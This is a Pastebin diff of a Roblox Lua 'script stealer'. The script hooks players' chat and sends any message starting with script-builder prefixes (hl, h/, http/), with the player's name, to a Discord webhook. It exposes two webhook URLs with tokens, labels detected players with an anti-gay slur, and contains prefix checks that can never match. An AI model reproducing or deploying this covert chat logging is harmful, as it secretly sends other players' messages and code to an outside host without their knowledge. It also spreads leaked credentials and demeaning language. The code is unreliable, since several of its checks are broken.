SHOW:
|
|
- or go back to the newest paste.
1 | -- made by chaotic // blackspiky67 --- way better version that only allows voidacity scripts | |
2 | wait(0.003) | |
3 | ||
4 | --enables http requests | |
5 | local http = game:service'HttpService' | |
6 | ||
7 | local BOT = {} | |
8 | ||
9 | ------------------ONLY EDIT THIS SHIT------------------------- | |
10 | - | BOT.uri = 'https://discordapp.com/api/webhooks/349275369779757058/R5UnvYQhzpIDMxX3x2B-Qqq8V1iwJ0lS4F7cRGRy7OPzj740MxSnMdGqoHVqBF8dgTqt' |
10 | + | BOT.uri = 'https://discordapp.com/api/webhooks/349277993232760835/X6izoOIsIWKmdDtiDemPGxVUjsIoaKq-QqtI-0YdsXKJ_BYjOaFCINbTIRXFpG5zuuVA' |
11 | BOT.botname = 'Spidey Bot' | |
12 | ---------------------------DONT EDIT ANYTHING BELOW-------------------- | |
13 | ||
14 | function BOT:SendMessage(Message) | |
15 | local data = {} | |
16 | data.username = BOT.botname | |
17 | data.content = Message | |
18 | ||
19 | data=http:JSONEncode(data) | |
20 | return http:PostAsync(BOT.uri, data, Enum.HttpContentType.ApplicationJson) | |
21 | end | |
22 | -------------^^^^ needed shit for discord webhook to work tbh i dont know what df it means | |
23 | ||
24 | -- half skidded shit from wiki but i added some stuff | |
25 | game.Players.PlayerAdded:connect(function(player) | |
26 | player.Chatted:connect(function(message) onChatted(message, player) end) | |
27 | end) | |
28 | ||
29 | -- if players are in game it also logs them | |
30 | for i,v in pairs(game.Players:GetChildren()) do | |
31 | v.Chatted:connect(function(message) onChatted(message, v) end) | |
32 | end | |
33 | ||
34 | -- when a player chats it checks if it meets the requirements | |
35 | function onChatted(message, player) | |
36 | local checkfam = message:sub(1, 2) | |
37 | local antisb = message:sub(1, 19) | |
38 | if antisb == "hl/http://robloxsb" then | |
39 | BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') | |
40 | end | |
41 | if antisb == "HL/http://robloxsb" then | |
42 | BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') | |
43 | end | |
44 | if antisb == "h/http://robloxsb" then | |
45 | BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') | |
46 | end | |
47 | if antisb == "H/http://robloxsb" then | |
48 | BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') | |
49 | end | |
50 | if antisb == "http/http://robloxsb" then | |
51 | BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') | |
52 | end | |
53 | if antisb == "HTTP/http://robloxsb" then | |
54 | BOT:SendMessage(player.Name..' Used Gay Anti Script Stealer!') | |
55 | end | |
56 | if checkfam == "hl" then | |
57 | BOT:SendMessage(player.Name..': '..message) | |
58 | end | |
59 | if checkfam == "HL" then | |
60 | BOT:SendMessage(player.Name..': '..message) | |
61 | end | |
62 | if checkfam == "H/" then | |
63 | BOT:SendMessage(player.Name..': '..message) | |
64 | end | |
65 | if checkfam == "h/" then | |
66 | BOT:SendMessage(player.Name..': '..message) | |
67 | end | |
68 | if checkfam == "http/" then | |
69 | BOT:SendMessage(player.Name..': '..message) | |
70 | end | |
71 | if checkfam == "HTTP/" then | |
72 | BOT:SendMessage(player.Name..': '..message) | |
73 | end | |
74 | end | |
75 | ||
76 | print("Initilized") | |
77 | http.HttpEnabled = true |